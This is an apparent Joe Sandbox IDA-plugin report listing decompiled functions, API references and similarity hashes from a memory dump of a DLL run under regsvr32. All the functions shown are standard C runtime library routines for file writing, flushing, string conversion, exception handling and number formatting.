Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-1338331675
Opcode ID: f80fd563d90780f0aa1c670857feec0e10d9ec583905498dafbcab80ebad431c
Instruction ID: 8bdd68c2d8658697f17e3158693f35fff5fb9c26cbdf8bf42c76b87004d789dc
Opcode Fuzzy Hash: f80fd563d90780f0aa1c670857feec0e10d9ec583905498dafbcab80ebad431c
Instruction Fuzzy Hash: F0014CB1A18646C6FB90AB24EC4076D36E0F350358FB04125E28D036F5C7BED544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39A9B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 17COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39A9B
_invalid_parameter.LIBCMTD ref: 000007FEF9D39AD5

Part of subcall function 000007FEF9D2BD70: DecodePointer.KERNEL32 ref: 000007FEF9D2BD99

Strings

_write_nolock, xrefs: 000007FEF9D39AC7
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39AC0
((cnt & 1) == 0), xrefs: 000007FEF9D39ACE

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer__doserrno_invalid_parameter
String ID: ((cnt & 1) == 0)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 1098298932-1795423647
Opcode ID: 76c1c365018f90ed7cb3e44e1db6073c5157a9fa4c515fc26b073f11152878b0
Instruction ID: 5ff663975ae3511ed6d2782a661d896beba523f0d1828ccbc0613956f22d1229
Opcode Fuzzy Hash: 76c1c365018f90ed7cb3e44e1db6073c5157a9fa4c515fc26b073f11152878b0
Instruction Fuzzy Hash: CBE03960A0890696F6D4AF14EC113EE2290A740788FE14222908D072F2CB7EA605C741

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F570 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E000007FE7FEF9D2F570(intOrPtr __edx, long long __rcx, void* __rdx, long long __r8, void* _a8, intOrPtr _a16, long long _a24, intOrPtr _a32, void* _a40, intOrPtr _a48, intOrPtr _a64) {
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				signed int _v48;
				int _v52;
				int _v56;
				signed int _v64;
				long long _v72;
				long long _t82;

				_a32 = r9d;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_v56 = 0;
				if (_a48 != 0) goto 0xf9d2f5ab;
				_a48 =  *((intOrPtr*)( *_a8 + 4));
				if (_a64 == 0) goto 0xf9d2f5bf;
				_v32 = 9;
				goto 0xf9d2f5c7;
				_v32 = 1;
				_v64 = 0;
				_v72 = 0;
				r9d = _a32;
				_v48 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v48 != 0) goto 0xf9d2f60b;
				goto 0xf9d2f6f8;
				if (0 != 0) goto 0xf9d2f652;
				if (_v48 <= 0) goto 0xf9d2f652;
				if (_v48 - 0xfffffff0 > 0) goto 0xf9d2f652;
				_t82 = _v48 + _v48 + 0x10;
				E000007FE7FEF9D2F3B0(malloc(??), 0xdddd, _t82);
				_v24 = _t82;
				goto 0xf9d2f65b;
				_v24 = 0;
				_v40 = _v24;
				if (_v40 != 0) goto 0xf9d2f674;
				goto 0xf9d2f6f8;
				E000007FE7FEF9D232B0(0, _a48, 0, _v40, __rdx, _v48 << 1);
				_v64 = _v48;
				_v72 = _v40;
				r9d = _a32;
				_v52 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v52 == 0) goto 0xf9d2f6ea;
				r8d = _v52;
				_v56 = GetStringTypeW(??, ??, ??, ??);
				E000007FE7FEF9D2F3E0(_v40);
				return _v56;
			}

0x7fef9d2f570
0x7fef9d2f575
0x7fef9d2f57a
0x7fef9d2f57e
0x7fef9d2f587
0x7fef9d2f597
0x7fef9d2f5a4
0x7fef9d2f5b3
0x7fef9d2f5b5
0x7fef9d2f5bd
0x7fef9d2f5bf
0x7fef9d2f5c7
0x7fef9d2f5cf
0x7fef9d2f5d8
0x7fef9d2f5f9
0x7fef9d2f602
0x7fef9d2f606
0x7fef9d2f60f
0x7fef9d2f616
0x7fef9d2f62a
0x7fef9d2f631
0x7fef9d2f646
0x7fef9d2f64b
0x7fef9d2f650
0x7fef9d2f652
0x7fef9d2f660
0x7fef9d2f66b
0x7fef9d2f66f
0x7fef9d2f686
0x7fef9d2f68f
0x7fef9d2f698
0x7fef9d2f69d
0x7fef9d2f6bf
0x7fef9d2f6c8
0x7fef9d2f6d2
0x7fef9d2f6e6
0x7fef9d2f6ef
0x7fef9d2f6fc

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F5F3
malloc.LIBCMTD ref: 000007FEF9D2F639
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F646
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F6B9
GetStringTypeW.KERNEL32 ref: 000007FEF9D2F6E0

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringTypemalloc
String ID:
API String ID: 2618398691-0
Opcode ID: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction ID: 79d90a16a348acae5d1e8c33d658c717d72e619f6ed261e78ac23a31a9732c13
Opcode Fuzzy Hash: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction Fuzzy Hash: 9941E7726187818AD7A08B19E48476EB7E0F385795F204525EADE43BB8DB7ED484CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3FF00 Relevance: 7.6, APIs: 5, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3FF00(intOrPtr __ecx, intOrPtr _a8) {
				signed int _v16;
				signed int _v20;
				signed int _v24;

				_a8 = __ecx;
				_v24 = 0;
				_v16 = 0;
				0xf9d29300();
				_v20 = 0;
				_v20 = _v20 + 1;
				if (_v20 -  *0xf9d4e520 >= 0) goto 0xf9d40042;
				if ( *((long long*)( *0xf9d4d500 + _v20 * 8)) == 0) goto 0xf9d4003d;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d4003d;
				E000007FE7FEF9D3AE90(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d40024;
				if (_a8 != 1) goto 0xf9d3ffe1;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) == 0xffffffff) goto 0xf9d3ffdf;
				_v24 = _v24 + 1;
				goto 0xf9d40024;
				if (_a8 != 0) goto 0xf9d40024;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000002) == 0) goto 0xf9d40024;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) != 0xffffffff) goto 0xf9d40024;
				_v16 = 0xffffffff;
				E000007FE7FEF9D3AF60(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				goto L1;
				__ecx = 1;
				__eax = E000007FE7FEF9D29360(__eax, 1);
				if (_a8 != 1) goto 0xf9d4005b;
				__eax = _v24;
				goto 0xf9d4005f;
				__eax = _v16;
				return _v16;
			}

0x7fef9d3ff00
0x7fef9d3ff08
0x7fef9d3ff10
0x7fef9d3ff1d
0x7fef9d3ff23
0x7fef9d3ff33
0x7fef9d3ff41
0x7fef9d3ff58
0x7fef9d3ff78
0x7fef9d3ff92
0x7fef9d3ffb2
0x7fef9d3ffb9
0x7fef9d3ffd3
0x7fef9d3ffdb
0x7fef9d3ffdf
0x7fef9d3ffe6
0x7fef9d40000
0x7fef9d4001a
0x7fef9d4001c
0x7fef9d40038
0x7fef9d4003d
0x7fef9d40042
0x7fef9d40047
0x7fef9d40051
0x7fef9d40053
0x7fef9d40059
0x7fef9d4005b
0x7fef9d40063

APIs

_lock_file2.LIBCMTD ref: 000007FEF9D3FF92
_fflush_nolock.LIBCMTD ref: 000007FEF9D3FFCB
_fflush_nolock.LIBCMTD ref: 000007FEF9D40012
_unlock_file2.LIBCMTD ref: 000007FEF9D40038
_unlock.LIBCMTD ref: 000007FEF9D40047

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _fflush_nolock$_lock_file2_unlock_unlock_file2
String ID:
API String ID: 1144694634-0
Opcode ID: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction ID: ac60367dbbc332a4a9212cb966813f3525e1d277dda9a6ba7eb8e741a9ed9bf6
Opcode Fuzzy Hash: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction Fuzzy Hash: D441F136A08905C5EB70CB1DE98173D73E0F799B49F204225EA9D877B4CB3EE945CA01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33CC0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D33CC0(void* __edx, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				long long _v16;
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				long long _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v64;
				long long _v72;
				char _v80;
				long long _v88;
				void* _t135;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				signed int* _t200;
				intOrPtr _t206;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				0xf9d24000();
				if ( *((intOrPtr*)(__rax + 0x2c0)) != 0) goto 0xf9d33d6c;
				if ( *_a8 == 0xe06d7363) goto 0xf9d33d6c;
				if ( *_a8 != 0x80000029) goto 0xf9d33d2a;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 0xf) goto 0xf9d33d2a;
				if ( *((long long*)(_a8 + 0x60)) == 0x19930520) goto 0xf9d33d6c;
				if ( *_a8 == 0x80000026) goto 0xf9d33d6c;
				if (( *_a40 & 0x1fffffff) - 0x19930522 < 0) goto 0xf9d33d6c;
				if ((_a40[9] & 0x00000001) == 0) goto 0xf9d33d6c;
				goto 0xf9d3409c;
				if (( *(_a8 + 4) & 0x00000066) == 0) goto 0xf9d33ef3;
				if (_a40[1] == 0) goto 0xf9d33ee4;
				if (_a48 != 0) goto 0xf9d33ee4;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33e40;
				if ( *_a8 != 0x80000026) goto 0xf9d33e40;
				_v56 = E000007FE7FEF9D33A60(_a24, _a40, _a32,  *((intOrPtr*)(_a24 + 0xf8)));
				if (_v56 - 0xffffffff < 0) goto 0xf9d33e0a;
				if (_v56 - _a40[1] >= 0) goto 0xf9d33e0a;
				goto 0xf9d33e0f;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v56;
				E000007FE7FEF9D34F20(_a40, _a16, _a32, _a40);
				goto 0xf9d33ec7;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33ec7;
				if ( *_a8 != 0x80000029) goto 0xf9d33ec7;
				_v48 = _a8;
				_v52 =  *((intOrPtr*)(_v48 + 0x38));
				if (_v52 - 0xffffffff < 0) goto 0xf9d33e95;
				if (_v52 - _a40[1] >= 0) goto 0xf9d33e95;
				goto 0xf9d33e9a;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v52;
				E000007FE7FEF9D34F20(_v48,  *((intOrPtr*)(_v48 + 0x28)), _a32, _a40);
				goto 0xf9d3409c;
				E000007FE7FEF9D2E790(_v52 - _a40[1], _v48, _a16, _a32, _a40);
				goto 0xf9d34097;
				if (_a40[3] != 0) goto 0xf9d33f59;
				if (( *_a40 & 0x1fffffff) - 0x19930521 < 0) goto 0xf9d34097;
				_t200 = _a40;
				if ( *((intOrPtr*)(_t200 + 0x20)) == 0) goto 0xf9d33f44;
				_t135 = E000007FE7FEF9D2E680( *_a40 & 0x1fffffff, _t200);
				_v24 = _t200 + _a40[8];
				goto 0xf9d33f4d;
				_v24 = 0;
				if (_v24 == 0) goto 0xf9d34097;
				if ( *_a8 != 0xe06d7363) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x18)) - 3 < 0) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x20)) - 0x19930522 <= 0) goto 0xf9d34041;
				_t206 =  *((intOrPtr*)(_a8 + 0x30));
				if ( *((intOrPtr*)(_t206 + 8)) == 0) goto 0xf9d33fc5;
				E000007FE7FEF9D2E6A0(_t135, _t206);
				_v16 = _t206 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 8));
				goto 0xf9d33fce;
				_v16 = 0;
				_v40 = _v16;
				_t177 = _v40;
				if (_v40 == 0) goto 0xf9d34041;
				_v64 = _a64 & 0x000000ff;
				_v72 = _a56;
				_v80 = _a48;
				_v88 = _a40;
				_v32 = _v40();
				goto 0xf9d34097;
				_v64 = _a56;
				_v72 = _a48;
				_v80 = _a64 & 0x000000ff;
				_v88 = _a40;
				E000007FE7FEF9D340B0(_t145, _t147, _t148, _t149, _t177, _a40, _a8, _a16, _a24, _a32);
				return 1;
			}

0x7fef9d33cc0
0x7fef9d33cc5
0x7fef9d33cca
0x7fef9d33ccf
0x7fef9d33cd8
0x7fef9d33ce4
0x7fef9d33cf8
0x7fef9d33d08
0x7fef9d33d16
0x7fef9d33d28
0x7fef9d33d38
0x7fef9d33d4e
0x7fef9d33d60
0x7fef9d33d67
0x7fef9d33d7c
0x7fef9d33d8e
0x7fef9d33d9c
0x7fef9d33db2
0x7fef9d33dc6
0x7fef9d33dec
0x7fef9d33df5
0x7fef9d33e06
0x7fef9d33e08
0x7fef9d33e0a
0x7fef9d33e0f
0x7fef9d33e2c
0x7fef9d33e3b
0x7fef9d33e50
0x7fef9d33e60
0x7fef9d33e6a
0x7fef9d33e77
0x7fef9d33e80
0x7fef9d33e91
0x7fef9d33e93
0x7fef9d33e95
0x7fef9d33e9a
0x7fef9d33eb8
0x7fef9d33ec2
0x7fef9d33edf
0x7fef9d33eee
0x7fef9d33eff
0x7fef9d33f15
0x7fef9d33f1b
0x7fef9d33f27
0x7fef9d33f29
0x7fef9d33f3d
0x7fef9d33f42
0x7fef9d33f44
0x7fef9d33f53
0x7fef9d33f67
0x7fef9d33f79
0x7fef9d33f8e
0x7fef9d33f9c
0x7fef9d33fa4
0x7fef9d33fa6
0x7fef9d33fbe
0x7fef9d33fc3
0x7fef9d33fc5
0x7fef9d33fd3
0x7fef9d33fd8
0x7fef9d33fde
0x7fef9d33fe8
0x7fef9d33ff4
0x7fef9d34000
0x7fef9d3400c
0x7fef9d34035
0x7fef9d3403f
0x7fef9d34049
0x7fef9d34055
0x7fef9d34061
0x7fef9d3406d
0x7fef9d34092
0x7fef9d340a0

APIs

_inconsistency.LIBCMTD ref: 000007FEF9D33E0A

Strings

csm, xrefs: 000007FEF9D33CF2
csm, xrefs: 000007FEF9D33F61

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _inconsistency
String ID: csm$csm
API String ID: 32975420-3733052814
Opcode ID: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction ID: 322b6d8969e66d64c69545eab8578d1d9fa1a0c6b52bdd8827c0b0ea251a3b55
Opcode Fuzzy Hash: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction Fuzzy Hash: 12A1EE3660CBC5C6D7B08B15E5447AEB7A0F385B95FA04126EACD87BA9CB3DD844CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29640 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMTD ref: 000007FEF9D296DF
__free_lconv_num.LIBCMTD ref: 000007FEF9D29726

Strings

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca, xrefs: 000007FEF9D2991D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c, xrefs: 000007FEF9D29932

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __free_lconv_mon__free_lconv_num
String ID: ((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c
API String ID: 2148069796-2706031433
Opcode ID: 5530c5148454f32ed92c453347a6e128a1bc42f7b71ac9e6bc1d50a4750a2989
Instruction ID: 7353ab124090f0710997c18079ef38eae00693e27689a0bfa21a481d68f00224
Opcode Fuzzy Hash: 5530c5148454f32ed92c453347a6e128a1bc42f7b71ac9e6bc1d50a4750a2989
Instruction Fuzzy Hash: F4A10E36A18A8581EB908F49E4853BEA3E0F3C4B54F665036EA8E477B5CFBED445C740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29C10 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

__updatetmbcinfo.LIBCMTD ref: 000007FEF9D29C2F

Part of subcall function 000007FEF9D29B10: _unlock.LIBCMTD ref: 000007FEF9D29BD9

Part of subcall function 000007FEF9D29F20: GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
Part of subcall function 000007FEF9D29F20: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74

_unlock.LIBCMTD ref: 000007FEF9D29EC8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c, xrefs: 000007FEF9D29C73
@'C, xrefs: 000007FEF9D29E76, 000007FEF9D29EA3

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale_unlock$UpdateUpdate::~___updatetmbcinfo
String ID: @'C$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c
API String ID: 4112623284-1094559166
Opcode ID: 8356b35877ad84119bda948381768e140a73398435746945450b774d02776550
Instruction ID: 45fc69fecf93984735d9c4b87304ebe4c96837b84e7424b4db74fc1719c3d08d
Opcode Fuzzy Hash: 8356b35877ad84119bda948381768e140a73398435746945450b774d02776550
Instruction Fuzzy Hash: 83911D36619B8586E7A08B19E98036E77E0F388798F654236EACD477B8CB3DD541CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32772 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41
_vsnprintf_s_l, xrefs: 000007FEF9D32A48

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 1aafbfe16f86ccf21253850ca152cd04a8ee8357f57b5e583563c43112fb4b7a
Instruction ID: b28b411edc77ea5f57a42c4ce070c51137fe1cd7001121a3be123fc4e483bd38
Opcode Fuzzy Hash: 1aafbfe16f86ccf21253850ca152cd04a8ee8357f57b5e583563c43112fb4b7a
Instruction Fuzzy Hash: FC810D32A1DB8686DAB08B29E84476E73E0F385765F204225E6ED437E9DF3DD445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C719 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3C719(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t212;
				signed char _t217;
				intOrPtr _t252;
				signed int _t327;
				signed int _t328;
				signed long long _t331;
				intOrPtr* _t354;
				signed long long _t379;

				_t327 = __rax;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t328 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t331 = _a824;
				_a832 = _t331;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t331;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t212 = _a116;
				_a116 = _a116 - 1;
				if (_t212 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t212 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t217 = _a816 + _a708;
				_a816 = _t217;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t217;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
